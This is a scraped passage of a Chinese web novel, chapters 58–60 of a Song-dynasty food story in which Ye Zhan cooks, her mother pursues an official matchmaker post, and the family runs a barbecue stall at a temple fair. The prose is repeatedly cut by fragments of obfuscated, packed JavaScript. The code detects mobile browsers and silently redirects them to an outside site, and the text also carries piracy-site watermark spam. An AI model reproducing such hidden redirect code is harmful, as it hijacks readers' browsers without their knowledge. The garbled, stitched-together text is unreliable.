0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465865|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 业务时候来个熟手还是省事啊。 裴昭笑得柔和:“我就不 似印大人这般爱民如子每每看见民众都要耐心讲解这时候我就盼着来个懂行的讼师。” 印大人被夸奖得脸红红的赶紧拱手:“哪里哪里。” 鸣镝在窗外看得目瞪口呆:少爷一番话 既能方正行事又不会过于迂腐以至于在世间寸步难行。 少爷厉害! 跟着少爷混更加有盼头了! 叶盏觉得裴昭虽然说这只是举手之劳还是决定好好感谢他一番。 因此等到晚上他来吃饭时叶盏除了裴昭点的菜之外还特意加赠了一份:“一份酥儿印方②是我的谢礼。” 这是大宋百姓中流行的一种油炸食品口味偏甜可以说是老少咸宜。 裴昭愣了一下便点头应下:“既如此便谢谢二姐美意了。” 他看得出来叶盏是那种不喜欢欠别人的性格所以不再推辞索性收下让她宽心。 叶盏便开始做这道酥儿印方。 面粉和豆粉混合后搓成细条再用拓印花样入酥油锅油炸后入油锅。 裴昭看着叶盏做菜不管他看多少次每一次都会惊叹于叶盏的动作娴熟。 行云流水让裴昭无端想起杜审言描写公孙大娘舞剑的诗句。 玉姐儿也看着妹妹做菜。 她是很纳闷:娘说人情要多用才好最好是能欠则欠欠的次数多了两人就能顺理成章更加亲近。 可是妹妹为什么不这么做? 她小声问叶盏。 叶盏抿嘴笑:“人各有不同。娘那种法子的确是个闯世界的好法子只不过我个性古怪不喜那种。” 玉姐儿琢磨了下:“若是有你这等好手艺自然能恃才傲物与人清高也能有一席之地若是没你这样好手艺用娘的法子钻营就是最好的。” 殊不知裴昭耳力好把这番对话听了个干净。 他耳朵动了动对叶盏多了一层钦佩。 人人都有沧浪之思但能超脱世外又有几人呢? 糕条一跟冒着青眼的油锅接触立刻迸发出呲啦刺啦的声音迅速膨胀变大 米白的外皮也慢慢变成了淡黄再变成了好看的金黄色看着就觉得 喜庆。 叶盏用夹子夹出,赶紧趁热撒了一层白糖。 上面是一层雪霜似的白糖,下面是经过油炸后变得金黄的酥儿印方。 黏糊的豆粉糕条外皮,吃起来又软又绵,口感很不错。带着豆粉本身的清新香气,扑鼻而来。 裴昭小心吃着,很是喜欢这种热气腾腾的感觉。 玉姐儿也瞄准了这份酥儿印方。 叶盏做剩下了十几个,这个份量不好售卖,只好留下自己家人吃用。 如今随着店里生意越来越好,给食客做菜时用油锅不再心疼,毕竟能回本。 只不过叶家人节俭惯了,自家做菜那是决议不许叶盏起油锅的,叶大富甚至发表过"吃点咸豆子就米饭就是一餐。"的言论。 因此玉姐儿看见油炸点心当然是垂涎欲滴。 话说回来,她看见任何点心都会垂涎欲滴。 获得叶盏同意后,玉姐儿立刻夹起一个酥儿印方就要往嘴里送。 谁知下一瞬间,她低低喊起来:“嗷嗷嗷嗷,烫烫烫! 原来她只顾着琢磨宓凤娘与妹妹不同的为人之道,忘记了先吹凉,反而被酥儿印方烫到了嘴皮。 “还好没吃进去。叶盏赶紧拿了店里温盘里垫着降温的冰块递给姐姐,“赶紧含一含。 杜月娘找齐了各种证据,择日宣判,她赢得了官司。 印大人宣判,这桩案子因着家产多由沈娥独自经营,便判给她一半。另一半因着是婆家的本金和人脉,又因着体恤孤老,所以留着给二老养老。 杜月娘对这份判决很满意,她原本不是那么心狠的人,对两位老人还是有朝夕相处的感情,不打算对他们斩尽杀绝。 公婆也满意,他们原以为自己什么都得不到了,谁知还能得一半,已经算是意外之喜。毕竟他们虽然请了讼师做出要不依不饶的态势,实际心里也心知肚明知道这财产一半是儿媳妇的功劳。 宓凤娘又给杜月娘寻了几个合适的郎君,帮她相看。 这两件事,倒让宓凤娘作为媒人的名声大大提升。 原来官府自来鼓励寡妇出嫁。宓凤娘所做两件事都是帮寡妇出嫁,因此很受鼓励。 地方上的里正,还嘉奖了宓凤娘一番。 宓凤 娘受了鼓舞,当即回家给黑靴加了餐,还谢了叶盏,她认为这两者是自己受嘉奖的福星。 而且在家人跟前立下豪言壮志:“总有一天我要做官媒! 原来官媒也可以举荐。选取本地的信实妇人作为官籍媒婆。 “这个信实的意思便是诚实可靠。宓凤娘一副当仁不让的架势,“我怎么不算诚实可靠了?这坊里的媒婆,舍我其谁?! 作者有话要说 来啦!明晚九点见 ①审判依据:宋传奇小说《夷坚志》中“县听仳离而中分其貲产 小说全网首发无弹窗免费阅读qiexs.com?(请来企鹅 小说 看最新章节 完整章节) ②酥儿印方:《吴氏中馈录》 ③:部分官员厌恶讼师,是当时社会现象。《宋代政府对讼师教唆诬告行为的法律规制》 ④:摘松酿雪饮,携露缀云踪。我现写了一句,欢迎宝子们接下面。 (づ′▽`)づ 基友的预收文,给个面子求收藏鸭! 《家生子的日常》 书号:9122107 一句话都文案:小丫鬟的升职奋斗史 [文案] 苏叶穿越了,穿成了荣安伯府的家生子。 家生子也是分三六九等的,苏叶一家都是老实木讷的性子,不会钻营,也没有靠山,一直在边城守着祖宅。 苏叶并不想在边城吃一辈子黄沙,她盯上了从盛京回来为老夫人祈福的五姑娘。 瘦死的骆驼比马大,等五姑娘及笄后定会被接回盛京,这是她作为家生子离开边城的唯一机会。 先定下来一个小目标:成为五姑娘的大丫鬟。 苏叶原本的奋斗目标是:做一个能吃饱穿暖,有小丫鬟伺候,在主子跟前有脸面的管事。 谁能想,她的五姑娘竟然如此争气,在她的辅佐下一路乘风破浪成为了天下最尊贵的女人:皇太后! 苏叶也跟着自家五姑娘从普通小丫鬟被封赏为郡夫人,皇帝视她为亲娘,名下好几个封邑,每年享无数钱粮供应,风光无限受人尊崇。 第 59 章 糟卤 第59章糟卤 宓凤娘居然不是随口说说,而是真的志存高远,立下了志向就开始去寻里正这样德高望重的地方长老,打听清楚了具体流程。 原来这官媒数量也不是乱定的,而是按照当地人口等比例抽取的,坊里居住百姓多些,相应的媒妁就多些。他们如今所在的炭场巷的官媒已经够名额了,并不会多扩充。 也就是说宓凤娘要等现有的官媒年老退下来、或是出现什么重大失误才能替补上去,充官为籍。 可这也难,官媒这行当挣钱又抢手,因此每位官媒都会培养自己女儿或儿媳妇接班,等到换届时跟里正举荐。 官媒的家眷们熟悉成为官媒的条件和门槛,因此比其他民间媒婆更有竞争力。 所以官媒明面上是公开竞争的,其实是半垄断的。叶盏听到这里恍然大悟,这不就很像后世很多职业嘛。 宓凤娘这回毛遂自荐虽然没当成官媒,但还是有收获的:她成了中等媒婆。 原本她是最低等的媒婆,每日里只配系个裙,手把清凉伞儿,可如今有了那两桩帮寡妇改嫁的案例,立刻荣升中等媒婆。 中等媒婆是能戴冠子,身穿黄包髻背子的。 宓凤娘拿着冠子回家,喜得看了又看,将衣服和冠子擦洗了一遍,又挂起来,还惦记着请金哥儿写信给叶大富,好叫他也高兴高兴。 叶盏也替宓凤娘高兴,索性做了几道糟卤菜给她解酒馋。 糟鸭货带着淡淡的酒香,嗦一个鸭翅膀,上面的鸭皮和下面紧致的鸭肉尽数被嗦进嘴里,柔韧,还有丝丝缕缕的口感,正好一点点慢慢吃,让酒香的滋味在舌尖浸润得更多些。 糟毛豆是浅绿色的,也懒得剥,直接拿着豆荚一角从根部开吃,牙齿把所有的豆子从宽大的豆荚里全部挤进嘴里。吃一口清爽怡人,很是解暑。 糟蹄筋则富有嚼劲,吃一口柔柔韧韧,后面的大牙要用力咬合才能咬下,但蹄筋在牙齿间用力反弹,这种征服和反制的游戏让人很快就能感受到蹄筋的厚度,有种磨牙感,很是过瘾。何况全程还带着淡淡的酒香呢,宓凤娘顿时觉得一下就过够酒瘾了。 吃完这道菜,宓凤娘从这天开始居然开始跟着金哥儿几个学起了 识字。 “我小时候你们翁翁婆婆教授了我几个字,也就会写我姓名,认得数字。”宓凤娘很是遗憾,“这点学识拿来在乡下做个田庄太太,管理佃农尽够了,但要做官媒却不能够。” 官媒要掌握文化知识,不能糊弄。 要能查阅本坊的户籍人册,要能认识人姓名,看得出谁家有适婚男女,还要会看嫁妆奁产单子。 像她原先做媒靠的是口头询问了解,坐在适婚男女门口聊会天对方家中养的鸡昨夜在外面下了鸡蛋的事都能打探到,奁产则靠识字的人帮忙念,自己全靠心算。 可是官媒业务扩大到一个坊,甚至整个汴京市,那就不能靠街坊邻居们口口相传了,要自己去查户籍册,要了解信息也要先靠户籍。 再说官媒负责往来的婚嫁对象都至少是小官之家,这些人家嫁女儿那奁产叫一个长,除了房奁和金银珠宝,还有日常使用的宝器、动用、帐幔等物, 甚至还有随嫁田土、屋业、山园等,甚至好几张单子根本写不下,这时候叫宓凤娘去找谁念? 所以她思来想去,觉得自己要做官媒还是要多认字。 宓凤娘刚开始还扭扭捏捏,可见儿女们没有一个嘲笑她,反而都很认真帮她,宓凤娘便放下了羞涩,好好儿跟着孩子们认起字来。 没想到这一来倒逼得金哥儿更加用功。 以往他是家里的学问担当,每每遇到文书、契税往来这种事都是他出面。 没想到叶盏回来后也粗浅识得几个字,又带动了全家人认字。甚至叶盏认字速度简直是突飞猛进,一天就能识字几十个,过了一个月,虽然还是不大会写,但看到后都能认识。 叶璃、玉姐儿、银哥儿也各个都不输,一个带一个他们已经读完了一本开蒙的课本,开始读第二本。 如今就连最不可能认字的宓凤娘也开始学《千字文》和《三字经》,瞧那认真的劲头只怕过一年也能完全识字。 这么一来金哥儿原本引以为自豪的那些知识就不够用了,他要保持在家人跟前的博学感就必须再多几本书。 因此宓凤娘立志要做官媒后最大的后遗症居然是金哥儿开始苦读,目睹了这一切的叶盏表示,难道这就是传说中的蝴蝶效应? 转眼就快到六月二十四日 。 叶盏以前不知道这个日子有什么特殊的后来这一日在汴京市民眼里是个大日子 小说全网首发无弹窗免费阅读qiexs?(请来企鹅 小说 看最新章节 完整章节)因着是灌口二郎神生日。而且会官民同乐从官方到民间都会举办盛大的庆典。 前一天御前就会送些书艺局、后苑作这些官府艺人所做的精巧玩意儿到庙里祭奠。 祭奠的东西大都是戈射、樊笼、鞍辔这些骑射之物。 殿前还要设置乐棚教坊做乐还有各司的社火殿前还要搭建十丈高的竹竿京城司和修内所上设各种装扮神鬼。① 满城的人都要去看热闹。 叶家自然也要去凑热闹叶盏想想打算在门口设一张闭店休息的牌子反正这一天全城的人几乎都会去庙会杏花巷百姓也不会有什么人。 蓬蕊却摇头:“开一天是一天房租又不会给我们少一天反正我也不想出门不如你们去留着我一人看店就好。” 蓬蕊自来性子清冷对这种事不感兴趣。 叶盏劝了她两句便也作罢:“那便按照平日里的工钱给你算三倍工钱。”虽然是古代但也要付加班费。 玉姐儿笑眯眯安慰蓬蕊:“我去庙会上看到好玩好吃的给你带些回家。” 蓬蕊哎了一声冲她笑了笑。 要去庙会叶盏却不打算单纯去逛街她提前准备了一套庙会套餐方便让食客带着去庙会吃。还打算在市面上摆个小摊利用客流量赚一笔。 叶盏便提前做了一些凉了也能吃的食物有宓凤娘说着好吃的糟卤鸭货、糟卤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465866|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛豆还有之前踏青礼盒里面的五色饭团子等菜品。在招牌上写好“二十四食盒”。 店里的食客便知道是六月二十四所用的食盒:“正愁去哪里吃什么呢倒有这个。” “这食盒里面有荤有素但都没有汤汁方便取用。”玉姐儿卖力推销细说着食盒的优点“只要二十五文。” 二十五文算是价格中等可叶盏的食盒里有荤有素足够两个人并一个小孩吃了算下来人均十文算是价格公道。 何况叶家食肆做出来的菜滋味都很好吃。 食客们便纷纷出手买下预备拿回家明天去庙会上吃。 “二姐怎么没有热食?”有人问。 叶盏笑眯眯:“这会做了热食等大 家明儿个带去寺里也凉了,我那天也会去庙会开个小食摊,卖热食,欢迎前来捧场。 食客们纷纷点头:“那是自然。 宓凤娘倒很赞同:“就是要这股攒钱赚钱的劲头。不过她还是如全天下母亲一样表达了对叶盏劳逸结合的担忧:“话说回来,这适度玩玩也不是不可,不用将自己逼得太紧张。 叶盏和玉姐儿对视一眼,哈哈大笑。玉姐儿还挤挤眼:“看我说对了吧?她早就事先预测了宓凤娘所有的言论。 宓凤娘嘀咕一声:“这俩孩子。女儿们凑一起有时候嘀咕着取笑大人,她这个做家长的就得时不时习惯女儿们忽如其来的傻笑。 叶盏打算在庙会上支个烧烤摊卖烤肉串。 烧烤自古以来就有,宋代也有,汴京街面上有卖炙肉的,因此叶盏断定烧烤肯定符合宋人的脾胃。 再加上如今街道司这样的城管机构只管占道经营,不管空气污染,所以她的小摊应该能支起来。 支摊的工具是现成的,只要将原先摆摊时的太平车拉出来便是。 至于烧烤的类型:叶盏决定荤菜做羊肉串、烤五花肉、鸡块大葱串、 素菜则准备了茄子、烤香菇、烤面筋、烤豆腐皮卷香菜这几样。 等到购买食材时才想起来有些素菜的价格并不便宜:先是豆腐皮,宋代虽然也能大量使用豆腐皮,但豆腐皮价格并不如现代一般低廉,甚至有的人家家里待客能上一道豆腐就算一道荤菜。 再就是香菇,香菇在现代能够大批量种植,但在这个时代全靠人工在野外采摘,再晒干后出售。至于古代吃素的食谱里常有香菇,那是因为古代庙宇也很富有啊。 因此叶盏将这两样买的很少,她平日在杏花巷开店,居民都比较富有,这食材贵贱就不太计较,可是如今要去庙会摆摊,面向普通百姓,自然更看重性价比。 先洗面筋,这时候叶盏再次怀念起工业化大批量生产,要用面筋直接去购买现成的就好,在宋代她要做面筋,要先和面。 和成面团后醒发好久,再不断揉面再醒发,在放入准备好的清水中开始——洗。 玉姐儿好奇在旁边看:“妹妹,面能洗吗?不得泥牛入海,越洗越少? 作者有话要说 ①:《东京梦华录》 加更来啦!晚上九点见!我先去吃个午饭,好饿 第 60 章 烤羊肉串 第60章烤羊肉串 “不会洗光的,要洗才能洗出来面筋。”叶盏耐心作答,继续洗个三五遍。 她洗着洗着想起一个地狱笑话,有位外国人麸质过敏,去吃中餐指着面筋问中国人Branfree?中国人很为难,答:Branitself. 洗完后只剩下了疙疙瘩瘩的面团,初步能看见面筋雏形,随后混合酵母开始发酵。 “居然真的……能洗出来。”玉姐儿眼睁睁看着面团洗来洗去非但没有融化,反而洗出了一团固体。 不过她还是有话说:“洗完的水可千万不能倒,留着加点蔬果做一碗汤好不好?” 她到底延续了宓凤娘血脉,见不得有人浪费粮食。那水里刚才洗进去不少面粉,此时有点浑浊,浮浮沉沉。 “水不会倒掉,我还要留着做美食呢。”叶盏笑眯眯。 她找了个盆,将洗完的水放进去沉淀。 趁着沉淀的功夫,面筋也发酵好了,放进蒸锅里开始蒸煮。 沉淀好的面粉水倒去上面一层,下面的边搅拌边加开水成面糊, 随后在开水锅里放一个薄铁盘,用勺舀了一勺在铁盘上摇匀摊平,随后看着定型蒸熟后趁热拿出来。 如此反复循环,直到做完剩下所有的面糊。 玉姐儿看着铁盘上凝固的面皮,惊讶不已:“又是另一种吃食?” “嗯,这个叫做凉皮。”叶盏给她讲解,“面粉团洗完后既能做出凉皮又能做出面筋。” 做好的凉皮和面筋晾凉,趁这功夫开始腌制肉串。 羊肉串要用生姜片和胡椒粉、孜然重重腌制,每串记得加一块羊油增加风味。 猪肉则用蜂蜜腌制一份,用芥末茱萸混合韭菜碎腌制一份,一份偏甜口一份偏重口,为的是满足不同人的口味。 宓凤娘看着肉串感慨:“还是我家盏儿实在,羊肉就是羊肉,猪肉就是猪肉。不像有些人造假。” 叶盏:?原来宋代就有假肉了吗? 原来时下羊肉太贵,市面上的不法商人就将猪肉浸泡在羊尿中,来获得羊膻味。① 非但是羊肉,曹门外有家作坊老板将便宜死马肉经过土埋和豆豉腌制等方法造 价鹿肉和獐子肉。② 叶盏:…… 原来羊尿浸泡冒充羊肉法古已有之,来个地狱笑话,现代的假羊肉也算是“古法传承”了? 叶盏:世风日下、人心不古……不对,人心从古至今都很复杂。 不过提及这个,她到时有个小秘诀:“倒是可以用羊油充分浸泡猪肉,吃起来也有羊肉味。”这个是一种安全的模拟羊肉方法,原理是肉的风味来自脂肪,所以用羊油来代替倒也能以假乱真。 “那我们自家吃的就用这法子,不给客人卖。”宓凤娘虽然奸猾些,但很有良心,“也能省些银子。” “吃什么肉就是什么肉,猪肉也有自己的味道。”玉姐儿倒很有美食品鉴家的自觉。 鸡块也不如后世便宜,原因是如今鸡肉都是散养。现代化大生产让鸡肉成为便宜肉,可在古代鸡肉还是比较昂贵。 好在如今有旁的吃食,什么鹌鹑、鹧鸪肉、斑鸠肉,野鸭的肉都可用。 收拾好和大葱末腌制在一起。 六月二十四日早上,一家人早早就起身,金哥儿和银哥儿来巷子里帮妹妹们推太平车,叶盏和宓凤娘娘几个开始串肉。 看着串得差不多,才推车往灌口二郎神庙宇而去。 寺庙外面早就热闹起来,各种官方的杂剧、舞旋纷纷表演,还有社火,拽百戏,有上竿的,有斗鸡的,有装鬼的,有相扑的,有鼓板,格外热闹。 围观的百姓也人山人海,熙熙攘攘到处都在看热闹,据说还有人昨天夜里就在寺庙外面打地铺,说要烧头香,叶盏想起每年雍和宫外烧头香的激烈竞争,表示很理解。 这位灌口二郎神据不可靠民间消息说是一位隋时的英雄豪杰,名讳唤作赵昱,四川百姓曾目睹他带领神将在潮头压制洪水,守护一方百姓安宁,因此广被祭拜祭祀。 叶盏怀疑朝廷格外推崇这位神并且在这天大肆举办官方庆典,是因着同姓氏的缘故,毕竟《百家姓》第一位是赵姓也是朝廷干出来的事。 寺庙外面各种鬼神打扮,这位二郎神在后世延续成为了傩戏坛神,应当就是从这时就有传承,至今闾山派收兵牃文也常用赵侯的名头,可见香火延续千年。 她找好了场地就开始摆摊,这时候要感谢多亏叶家人人多势众,能 从遍地小摊中找出一方清静地方摆摊。 她们还带着当初摆摊时的布幌子支好了“叶二姐食肆”的幌子这是为了让路人知道她们是有实体店铺的并不是趁着庙会来赚一笔跑路的骗子。 架好了火炉在上面搁上找铁匠临时加工出来的烤盘这才开始烧烤。 烧烤的炭火是果木炭说起宓凤娘就得意:“全汴京的炭火交易都得从我们住的炭场巷走我们当然能买到最好的炭火。” 果木炭点燃生肉串放上去慢慢加热油脂滋滋从生肉上滴下落到炭火上激起一层青烟。 青烟起处带着肉类的芳香一下就吸引得周围路人都看过来:“好香是炙肉?” 叶盏点点头:“是炙肉。羊肉串、烤五花肉、鸡块大葱串、烤茄子、烤香菇、烤面筋、烤豆腐皮卷香菜还请来看看。” 她一口气报了一大堆菜名边说还边拿起在炭火上的肉串翻了翻。 这一翻面肉脂的香气更加浓郁 价格听着倒不贵羊肉串虽然贵但那一串看着有好几块羊肉呢。 路人们在心里盘算着:在外面食肆购买羊菜太过昂贵普通老百姓买不起但在这家小摊只用十文钱就能尝尝羊肉滋味回头跟人吹牛也有谈资。 想想很划算便开口:“我要一串。” 谁知他说完后旁边有闲汉立刻起哄:“怎么就要一串?”也太寒碜了些吧。 路人没当回事:“万一她卖得是假羊肉呢?” 玉姐儿赶紧答:“客人我们是正宗羊肉您可以看看这没烤制过的羊肉色泽这是猪肉两者一眼就能看出不同。” 谁知她刚说完就见客人挪动了一下步子往周围看了一下似乎想要离开。 倒是叶盏开口:“客人我们还有凉皮是用面粉做成一份五文钱您可要试一试?” 那位食客看了看份量似乎是粉条、汤饼之类所以点点头:“那来一份吧。” 食摊简陋只能支一个小小桌凳客人坐下等待自己的饭菜。 那闲汉看讨不到什么便宜便讪笑了一下离开了。 玉姐儿这才想明白刚才客人因为只点了一串羊肉串所以被闲汉笑话这时候她上前解释自己羊肉串多正宗并没有用反而还会让客人更加窘迫。 而叶盏主动推荐一份便宜量大的食材给这位客人挽回了面子所以客人才又坐了下来。 想到这里玉姐儿吐吐舌头差点被自己赶走了一个客户。赶紧殷勤去帮忙。 叶盏麻利抓起一片凉皮卷起用刀几下就切成了细条随后用竹夹夹进了铁盆随后放入切好的面筋、豆芽、胡瓜丝。 玉姐儿赶紧去问客人:“我们凉皮里要放葱姜蒜还有点微微辣您有什么忌口的吗?” 客人摇摇头:“没有。” 叶盏便将各色调料舀进盆里开始搅拌。 玉姐儿暗暗得意。这里面调和的各色调料都是她们在家特制的保管客人吃着香:蒜水是浸泡了整夜出的香味 总之看着是一堆平平无奇和其他小食摊一模一样的调料实际每一样都用了独到心思。 调制好了凉皮也烤好了羊肉串玉姐儿将饭菜端到了客人桌上:“来啦!” 食客自然是先吃羊肉串。 这羊肉串串在铁签子上经过烤制后肉的颜色已经变成好看的褐红色肉质紧紧包裹着铁签上面还沾染着一粒粒的颗粒应当是孜然和花椒颗粒。 他迫不及待将铁签举到嘴边牙齿狠狠用力从铁签子上咬下来一个羊肉。 嗬!这羊肉吃进嘴里先是一股炭火香气随后是稍稍带焦脆的羊肉里面却咬开嘴里化了一嘴肉汁。 原来羊肉烤制过程中已经由着炭火锁住了肉汁所以羊肉才得以饱满多汁很是油香肉滑。 他慢慢咀嚼舍不得这么快将羊肉吃下肚去直到确保自己尝遍了每一种滋味这才咽下去。 吃了几个肉块就到了肥油。这块羊油要是放到现代肯定要被食客们挑出来的可是在古代这就成了良心店家的标志食客一口将羊油吞进去。 外面有点焦外壳稍稍比平日里的羊油要脆想必是烤制的缘故。吃进嘴里满口肥油立刻让人很满足。 食客摸了摸肚子果然荤肉就是好下肚之后立刻觉得浑身都舒坦。 这时候他看向了凉皮。 这凉皮是个新事物他还从未见过哩只见这一碗凉皮像汤饼一样里面拌着白白胖胖的豆芽和绿色嫩嫩的胡瓜丝。 客人随意挑起一根送进嘴里。 凉凉的滑溜溜比汤饼要更加滑溜也要更凉爽口感轻薄。 上面裹挟着的汤汁也很清爽能吃出来有麻油有花椒油越吃越香。 食客觉得很惊艳。 他本来点这个凉皮一是为了在外人跟前有点面子二是看着凉皮似乎能裹腹可是吃了几口之后却觉得凉皮本身就算一道好吃的菜。 他吃完后点点头:“好吃!” 他这边吃得香旁边也陆续有食客被吸引过来开始跟着点菜。 这个要烤茄子那个要烤五花肉一会功夫就让叶盏忙得团团转。 好在今天来帮忙的人多家里人都在叶璃帮忙串串金哥儿帮忙烤串还有玉姐儿这个熟练手一家人有条不紊。 “二姐 鹅小说全网首发无弹窗免费阅读qiexs?(请来企 鹅小说 看最新章节 完整章节)给我也来一份。” 叶盏抬头却看到是裴昭:“小裴大人!?” “您怎么来了?” 今天不是官员休沐日按道理官员们都在衙门呢怎么裴大人会来这里。 叶盏第一反应是四周看了一圈莫非有位盗贼大隐隐于市藏匿与这周围? 裴昭看她警觉目光似乎想明白了她要什么会心一笑:“正好我们开封府也要献送贡品过来我跟着负责此事。” 每年官家要从宫里赐下各种戏玩各司自然也不能示弱要往庙里给灌口二郎神献送不少东西。 开封府也准备了。 裴昭没说的是这事原本不归他管。 前一天他眼见着叶盏在闭店前在门口挂上“明日店铺休息不在”的单子得知她要去逛庙会。 第二天早上到了衙门正好在门口遇上开封府的贡品往外送裴昭忽然开口:“我也去吧。” 负责此事的官员当然无所谓裴大人是金吾卫出身有他在能多一分安全保障而且他还以为是裴大人少年心性想去热闹处玩闹呢。便点点头应下了。 倒是印大人在窗内看了很惆 怅:他原本也想开口呢偷得浮生半日闲在庶民中闲逛享受孔夫子说过的浴乎沂风乎舞雩、咏而归的乐趣多好! 唉奈何晚了一步被裴昭抢了先。 可是他又不能再开口了。 这种事多去一个官员无所谓可再多去一个看着就明显了被上官发现了不好解释:怎么你们一个两个都想去庙会玩?那谁还办公? 是以印大人惆怅踱步回座位摸了摸袖笼里没对完的半句残诗又开始翻阅公文。 护送贡品事宜简单到了地方送进庙里与其他诸司的放一起就行。这是多年来的惯例自然有官员和庙祝负责民间的有些贡品也放在一边大都是吃穿弓箭射猎的物品。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465867|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴昭清点完物品 裴昭点点头踱步从庙里走了出来。 今日人山人海到处都是小摊小商贩们在卖东西熙熙攘攘很是吵闹裴昭四下打量想着在这里面找人无异于大海捞针。 即使是他眼力过人也无法在这里面找到叶盏。 正想着不然就踱步回去却闻到一股炭火气莫非是着火了?裴昭好奇顺着炭火气往前看看到了叶盏。 他神色松快几分快步走到了叶盏摊前。 宓凤娘看见裴大人自然招呼:“裴大人来了?您请坐。” 一边招呼他坐下一边念叨:“也是您有缘分我原本想着今天人这么多老食客都找不过来了咱们那么多熟客您还是第一位过来的呢。” 裴昭听见这句话无端有点心虚回答:“今日人挤人想必他们一会才能找到。” 叶盏记得裴昭大人不挑食便给他上了羊肉串和五花肉串又担心他有公务要办不方便吃葱便将那大葱鸡肉串撤了下来。 又上了烤香菇、烤面筋两样:“这样可以吗?” 裴昭自然点点头。 倒是玉姐儿指着豆腐卷卷香菜:“怎得不加这个?” “那个里面有香菜恐怕大人要执行公务不方便吃啊。”叶盏犹豫了一下。 玉姐儿点点头:“那我一会能多吃一串。” 裴昭倒是常在外面宴席上吃到烤肉串但仍旧被叶盏做出来的肉串惊艳到:滋味 浓郁,肉嫩多汁,炭火香气浓厚。 他好奇问:“这肉串似乎有点香气?” 有一种若有若无的香气,但仔细分辨并不是任何一种调料香气。 叶盏惊讶:“这是果木炭,想必是炭火自带的果香。”没想到裴大人连这个都能闻出来。 宓凤娘还没等思索就脱口而出“应当是办案子办多了,嗅觉都比常人强啊……”说完后便反应过来,夸人家鼻子灵,怎么有说别人是狗的意思。 赶紧紧张看着裴昭。 还好裴昭没生气,只是淡淡一笑:“我的确比寻常人细心点。” 宓凤娘松了口气,默默给裴昭又加了一份香菇,好险,差点得罪食客兼开封府官员。 虽然裴大人平日里看着很和气,毕竟是一名官员啊,生气起来发起官威怎么办? 裴昭吃了肉串又开始品尝烤面筋,这个面筋的滋味很好吃,里面透着无数孔隙,正好让调料汁水都吸进去了。 烧烤的外皮脆脆,内里吃起来很筋道。 在庙会上吹着风,吃着烧烤,很惬意。 像裴昭这样的食客不在少数,大家都被炭火香气所吸引,坐下点菜。 有人吃完后还觉得不过瘾,索性要打包一份带回去。 这个食摊上有平日里难以吃到的羊肉串,只用十文钱就能吃到一整串,而且滋味还很不错。 再者猪肉五花串也同样受欢迎,原本猪肉不好处理,容易腥膻,可是厨娘应当是用心处理过,所以五花肉只有香气。 上面的肥油被烤得滋滋冒油,刚从炭火上拿下来,肉油竟然还在冒着泡泡,边缘都被烤化了,变成了焦褐色。 吃进嘴里,肥油被咬烂,肉汁横流,脂肪化作油水横溢,瘦肉在脂肪的浸润下一点都不柴,反而很润柔多汁,搭配上这家店独有的酱料,简直是至高无上的享受。 还有那份豆腐卷卷香菜,虽然价格比一般素菜贵,但是想到豆腐价格不低,豆腐皮的价格更贵,这份价格便也能接受。 经过炙烤后,原本雪白的豆腐卷外面带了一丝淡淡的褐色,有点发焦,但根据经验,那股焦脆才更好吃,送进嘴里果然,焦脆,比寻常豆腐皮多了一丝炭火风味。 里面夹杂着的香菜更是点睛之笔。 本来香菜这种菜肴属于爱吃的人爱吃不爱吃的人是避如蛇蝎更有一部分人将它当做佐料而不是正菜。 可是这回里面加了香菜居然意外的和谐香菜清新脆爽咬起来咔嚓咔嚓正好和豆腐皮相互作用。 叶盏担心铁签子出问题便抽了铁签包在油纸包里又放在荷叶里这才递给了客人。 宓凤娘原本想去庙里求求财运如今一看也不用去了只双手合十拜拜半空:“多谢您老人家眷顾。” 没想到卖完的时间比她预想得要快。 只用了两盏茶的功夫这些菜肴就已经被卖得一干二净。 宓凤娘乐得什么似的赶紧帮女儿收摊。 等收摊的时候才留意到了:“怎么裴大人还没走?” 如果她没记错的话裴大人可是刚开摊没多久就坐下来吃饭的怎么吃了这么久都没吃完?他们这些执行公务的汉子不都是狼吞虎咽吗? 裴昭指了指桌上的茶杯:“又喝了一盏甜水饮子。” 宓凤娘恍然大悟 东西收拾停当却不急着回去宓凤娘指挥儿女们分批去逛庙会:“今日本来就是出来玩的你们去玩尽兴才好。我守着摊子便好。” 又回头冲裴昭笑:“裴大人莫要笑话我们叶家钻到钱眼里便是出来逛庙会都要惦记着赚一笔钱才是。”本来叶家已经有食肆赚钱没必要再来庙会摆摊赚钱可是到底上下都一心惦记着搞钱这才“顺便”做了个小生意。 “不会。”裴昭回答得彬彬有礼长身玉立站在那里有几分翠竹亭亭“家母也做灯油生意常说做生意不能嫌锱铢小就漏过。须知每件货物多赚一文几百船就能多赚一千两。” 他母亲居然也是做生意的?宓凤娘一下觉得高高在上的裴大人沾染了一丝烟火气原本还以为他是当官的平日里敬他也只是疏离礼貌可这下立刻待他比平日里更加亲近因此笑道:“裴大人不妨也随他们兄妹去逛逛庙会毕竟来都来了。” 裴昭看了看外头热闹点点头:“好。” 作者有话要说 来啦明晚九点见 ①:羊肉造假出自《杨文公谈苑》 